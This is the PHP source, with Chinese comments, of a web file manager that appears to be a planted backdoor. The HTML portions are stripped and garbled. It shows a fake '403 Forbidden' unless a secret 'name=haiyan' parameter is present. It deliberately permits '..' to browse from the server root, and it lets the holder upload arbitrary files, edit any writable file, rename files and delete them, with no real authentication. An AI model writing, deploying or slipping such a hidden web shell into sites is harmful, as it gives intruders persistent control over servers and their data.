403 Forbidden'); } // ================== 路径处理 ================== // 自动获取当前脚本所在目录作为默认路径 $default_path = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); if ($default_path === false) { $default_path = dirname($_SERVER['SCRIPT_FILENAME']); } // 获取请求的路径(允许 .. 以访问上级目录) $current = isset($_GET['dir']) ? $_GET['dir'] : ''; // 安全过滤:防止空字节注入和反斜线,但保留 .. 和 ./ $current = str_replace(["\0", '\\'], '', $current); $current = ltrim($current, '/'); // 构建完整物理路径(不使用 realpath 以避免权限导致的回退错误) if ($current === '') { $full_path = $default_path; } else { // 从根目录开始拼接 $full_path = '/' . $current; // 规范化路径:解析 .. 和 .,但不依赖 realpath(因为 realpath 可能因权限失败) $parts = explode('/', $full_path); $normalized = []; foreach ($parts as $part) { if ($part === '' || $part === '.') continue; if ($part === '..') { array_pop($normalized); } else { $normalized[] = $part; } } $full_path = '/' . implode('/', $normalized); // 验证路径是否存在且为目录,如果无效则回退到默认路径 if (!is_dir($full_path)) { $full_path = $default_path; $current = ''; } } // 确保路径以斜杠结尾(用于显示) $display_path = rtrim($full_path, '/') . '/'; // 计算相对于根目录的路径(用于 dir 参数,去掉开头的 /) function getRelativePath($absPath) { return ltrim($absPath, '/'); } $current_dir_param = getRelativePath($full_path); // ================== 文件操作 ================== $message = ''; $action = $_POST['action'] ?? ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $action) { $current_dir = $full_path; switch ($action) { case 'upload': if (!empty($_FILES['file']['tmp_name']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $filename = basename($_FILES['file']['name']); $dest = rtrim($current_dir, '/') . '/' . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { $message = "✅ 上传成功:" . $filename; } else { $message = "❌ 上传失败"; } } else { $message = "❌ 上传失败:没有文件"; } break; case 'mkdir': $dirname = trim($_POST['dirname']); if ($dirname !== '') { $dirname = preg_replace('/[\/\\\:*?"<>|]/', '', $dirname); if ($dirname !== '') { $newdir = rtrim($current_dir, '/') . '/' . $dirname; if (!file_exists($newdir)) { if (mkdir($newdir, 0755, true)) { $message = "✅ 创建文件夹:" . $dirname; } else { $message = "❌ 创建失败"; } } else { $message = "❌ 文件夹已存在"; } } else { $message = "❌ 文件夹名包含非法字符"; } } break; case 'rename': $oldName = trim($_POST['oldname']); $newName = trim($_POST['newname']); if ($oldName !== '' && $newName !== '') { // 过滤新文件名中的非法字符 $newName = preg_replace('/[\/\\\:*?"<>|]/', '', $newName); if ($newName !== '') { $oldPath = rtrim($current_dir, '/') . '/' . $oldName; $newPath = rtrim($current_dir, '/') . '/' . $newName; if (file_exists($oldPath)) { if (!file_exists($newPath)) { if (rename($oldPath, $newPath)) { $message = "✅ 重命名成功:" . htmlspecialchars($oldName) . " → " . htmlspecialchars($newName); } else { $message = "❌ 重命名失败:权限不足或系统错误"; } } else { $message = "❌ 重命名失败:目标名称已存在"; } } else { $message = "❌ 重命名失败:原文件/文件夹不存在"; } } else { $message = "❌ 新名称包含非法字符"; } } else { $message = "❌ 名称不能为空"; } break; case 'delete': $target = rtrim($current_dir, '/') . '/' . $_POST['filename']; if (file_exists($target)) { if (is_file($target)) { if (unlink($target)) { $message = "✅ 删除文件:" . $_POST['filename']; } else { $message = "❌ 删除失败"; } } elseif (is_dir($target)) { $files = scandir($target); if ($files !== false && count($files) <= 2) { if (rmdir($target)) { $message = "✅ 删除空目录:" . $_POST['filename']; } else { $message = "❌ 删除失败"; } } else { $message = "❌ 目录非空"; } } } else { $message = "❌ 文件不存在"; } break; case 'edit': $file = rtrim($current_dir, '/') . '/' . $_POST['filename']; if (is_file($file) && is_writable($file)) { if (file_put_contents($file, $_POST['content']) !== false) { $message = "✅ 保存成功"; } else { $message = "❌ 保存失败"; } } else { $message = "❌ 文件不可写"; } break; } // 重定向时保留当前路径 header("Location: ?name=haiyan&dir=" . urlencode($current_dir_param)); exit; } ?>
| 文件名 | 大小 | 修改时间 | 操作 | 📂 此文件夹为空 | '; } foreach ($all_items as $item) { $item_path = rtrim($full_path, '/') . '/' . $item; $is_dir = is_dir($item_path); // 计算相对路径(用于链接) $item_rel = ltrim($item_path, '/'); $file_size = ''; if (!$is_dir) { $size = @filesize($item_path); if ($size !== false) { if ($size < 1024) { $file_size = $size . ' B'; } elseif ($size < 1048576) { $file_size = round($size / 1024, 2) . ' KB'; } else { $file_size = round($size / 1048576, 2) . ' MB'; } } else { $file_size = '?'; } } else { $file_size = '-'; } $mod_time = @filemtime($item_path); $mod_time_str = $mod_time ? date('Y-m-d H:i:s', $mod_time) : '-'; ?>
|---|---|---|---|
| 📁 / 📄 | ✏️ 重命名 | ✏️ 编辑 | 🗑️ 删除 | 无法读取目录内容 | '; } } else { echo '|
| 目录不存在或无法访问 | |||